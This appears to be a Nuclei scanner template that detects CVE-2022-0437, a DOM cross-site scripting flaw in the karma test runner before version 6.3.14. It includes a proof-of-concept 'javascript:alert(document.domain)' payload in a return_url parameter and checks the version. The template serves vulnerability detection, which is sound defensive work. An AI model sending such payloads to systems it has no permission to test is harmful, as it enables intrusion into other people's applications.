2022-03-21 12:21:11 +00:00
|
|
|
id: CVE-2022-0437
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Cross-site Scripting (XSS) - DOM in karma-runner
|
|
|
|
author: pikpikcu
|
|
|
|
severity: medium
|
|
|
|
description: Cross-site Scripting (XSS) - DOM in NPM karma prior to 6.3.14.
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0437
|
|
|
|
- https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
|
|
|
|
- https://github.com/karma-runner/karma
|
|
|
|
tags: cve,cve2022,karma,xss,oss
|
2022-03-21 12:21:54 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.10
|
|
|
|
cve-id: CVE-2022-0437
|
|
|
|
cwe-id: CWE-79
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
|
|
|
|
- https://github.com/karma-runner/karma/commit/839578c45a8ac42fbc1d72105f97eab77dd3eb8a
|
2022-03-21 12:21:11 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/karma.js'
|
|
|
|
- '{{BaseURL}}/?return_url=javascript:alert(document.domain)'
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: version
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- "(?m)VERSION: '([0-9.]+)'"
|
|
|
|
|
|
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
|
|
|
- 'Karma'
|
|
|
|
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'to_string(version) <= "6.3.13"'
|